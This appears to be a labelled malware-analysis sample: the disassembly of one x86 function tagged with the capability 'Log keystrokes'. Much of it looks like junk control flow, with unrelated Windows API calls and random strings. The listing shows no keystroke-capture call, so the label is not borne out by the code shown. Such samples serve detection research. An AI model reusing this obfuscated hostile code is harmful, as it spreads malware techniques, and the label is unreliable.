Function at 0x100318d7
Capabilities:
Log keystrokes

Disassembly:
mov eax, 0x100597f4
call fcn.10058864
sub esp, 0x94
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x34], ebx
xor edi, edi
push 6
mov dword [ebp - 0x1c], 0x68ec0ae9
inc edi
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x1c], 0xffffffef
pop esi
cmp dword [ebp - 0x1c], 0x12
jle 0x10031b03
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x20], 0x1d1b
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x3c], 0xffffffff
mov dword [ebp - 0x18], ebx
jmp 0x10031941
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x30], 0xd386
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x10031933
mov dword [ebp - 0x18], ebx
jmp 0x10031959
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x30], 0x53bc
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x1003194b
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], 0xffffffff
jne 0x10031afb
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], 0xfffffffe
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x2c]
jl 0x10031983
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x30]
xor ecx, ecx
mov eax, dword [ebp - 0x1c]
cmp eax, edi
mov eax, dword [ebp - 0x20]
setl cl
sub eax, ecx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x20], ebx
je 0x100319bc
mov edx, edi
cmp dword [ebp - 0x3c], ebx
jne 0x100319be
mov edx, ebx
mov eax, dword [ebp - 0x24]
xor ecx, ecx
cmp edx, eax
setge cl
cmp ecx, 0x6e289aa5
je 0x10031a1a
mov dword [ebp - 0x28], 0xfffffffe
xor edx, edx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x24]
cmp eax, 0xc840
setne dl
add edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x24]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setl cl
cmp esi, ecx
sbb eax, eax
xor ecx, ecx
neg eax
add eax, dword [ebp - 0x20]
test eax, eax
setg cl
add ecx, dword [ebp - 0x1c]
add ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x28], ecx
jmp 0x10031acb
mov dword [ebp - 0x38], ebx
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10031ac8
mov dword [ebp - 0x24], 0x456e
cmp dword [ebp - 0x24], 0x473e
jle 0x10031a9b
push edi
push 0x5f
push 0x2580
call dword [sym.imp.USER32.dll_AttachThreadInput]
mov edi, ebx
mov dword [ebp - 0x28], ebx
mov esi, ebx
mov dword [ebp - 0x38], ebx
mov ebx, esi
and ebx, edi
mov edi, dword [ebp - 0x38]
mov eax, ebx
mov ecx, 0x10072098
or eax, edi
cdq
push edx
push eax
call fcn.10013ec4
inc edi
cmp edi, 0x5a62
jl 0x10031a59
mov edi, dword [ebp - 0x28]
inc esi
push 0
pop ebx
cmp esi, 0x1531
jl 0x10031a4f
inc edi
mov dword [ebp - 0x28], edi
cmp edi, 0x55f9
jl 0x10031a4d
push ebx
call dword [sym.imp.KERNEL32.dll_SetCommBreak]
xor edi, edi
push 6
inc edi
pop esi
push 0x2552
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x24], 0x4562
jge 0x10031ac4
mov edx, str.otjsn_eionvowad_ojzalz_cnxn_icugo_pbdmb_fmxce_zgi_apxs_ezv
mov ecx, 0x10072098
call fcn.1001684d
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x38], edi
dec dword [ebp - 0x18]
jmp 0x10031961
inc dword [ebp - 0x1c]
jmp 0x1003190c
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10031b21
push ebx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextColor]
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10031b33
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegSetKeySecurity]
call fcn.1002eca8
push ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.100321df
mov dword [ebp - 4], 4
mov dword [ebp - 0x38], 0x9fe387fb
mov byte [ebp - 0x11], bl
mov dword [ebp - 0x18], 0xc26
cmp dword [ebp - 0x18], 0xd39
jle 0x10031bde
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov dword [ebp - 0x1c], ebx
mov eax, ebx
mov dword [ebp - 0x2c], 0x1ca1
mov dword [ebp - 0x20], eax
mov esi, ebx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], 0xa1b
cdq
lea ecx, [ebp - 0x6c]
push edx
push eax
call fcn.10001ade
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10031b9b
mov eax, dword [eax]
push eax
call fcn.1004041f
pop ecx
push ebx
push edi
lea ecx, [ebp - 0x6c]
call fcn.10014649
mov eax, dword [ebp - 0x28]
add eax, esi
dec dword [ebp - 0x24]
mov dword [ebp - 0x28], eax
jne 0x10031b86
mov eax, dword [ebp - 0x20]
inc esi
cmp esi, 0x538
jl 0x10031b7c
mov esi, dword [ebp - 0x1c]
add eax, esi
dec dword [ebp - 0x2c]
mov dword [ebp - 0x20], eax
jne 0x10031b7a
inc esi
mov dword [ebp - 0x1c], esi
cmp esi, 0x728
jl 0x10031b6e
cmp byte [ebp - 0x11], 0
je 0x10031c18
push 0x231b
push ebx
push 0xdf2
push 0x237d
push 0x37e
push ebx
push 0x1173
push 0x1613
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawIconEx]
cmp dword [ebp - 0x18], 0x9aa
jge 0x10031c2c
push str.slexuvogx_cyw_gcpz_ibve_zeexxqisq_bmyh_lgk_pqhwal_bvb_dipysqd_aitojaqw_apnp_zdpiurag
call fcn.1004041f
pop ecx
mov dword [ebp - 4], 4
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10031c49
push ebx
push 0x328
push ebx
call dword [sym.imp.ADVAPI32.dll_ControlService]
mov ecx, dword [ebp - 0x48]
mov edx, ecx
mov esi, dword [ebp - 0x50]
add esi, 0xffffd7da
mov eax, dword [ecx + 4]
cmp byte [eax + 0xd], 0
jne 0x10031c85
cmp dword [eax + 0x10], esi
jge 0x10031c6a
mov eax, dword [eax + 8]
jmp 0x10031c6e
mov edx, eax
mov eax, dword [eax]
cmp byte [eax + 0xd], 0
je 0x10031c60
cmp edx, ecx
je 0x10031c85
cmp esi, dword [edx + 0x10]
jl 0x10031c85
mov dword [ebp - 0x4c], edx
lea esi, [ebp - 0x4c]
jmp 0x10031c8b
mov dword [ebp - 0x54], ecx
lea esi, [ebp - 0x54]
mov eax, dword [0x100ead58]
mov esi, dword [esi]
test al, 1
jne 0x10031cc3
or eax, edi
mov dword [0x100ead54], 7
mov dword [0x100ead58], eax
xor eax, eax
push 0x10059f04
mov dword [0x100ead50], ebx
mov word [0x100ead40], ax
call fcn.100403f5
pop ecx
mov ecx, dword [ebp - 0x48]
cmp esi, ecx
je 0x10031ce4
push dword [esi + 0x18]
mov edx, dword [esi + 0x14]
lea ecx, [ebp - 0x9c]
call fcn.1002b8fd
pop ecx
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x34]
or ecx, edi
jmp 0x10031d01
push 0x100ead40
lea ecx, [ebp - 0x84]
call fcn.10013fd9
mov dword [ebp - 4], 8
mov ecx, dword [ebp - 0x34]
or ecx, 2
mov esi, dword [ebp - 0x40]
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x20], ecx
mov ecx, esi
push eax
call fcn.10013fd9
mov eax, dword [ebp - 0x20]
or eax, 4
test al, 2
je 0x10031d32
push ebx
and eax, 0xfffffffd
lea ecx, [ebp - 0x84]
push edi
mov dword [ebp - 0x20], eax
call fcn.100147bd
mov eax, dword [ebp - 0x20]
test al, 1
je 0x10031d43
push ebx
push edi
lea ecx, [ebp - 0x9c]
call fcn.100147bd
lea ecx, [ebp - 0x48]
call fcn.10032018
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret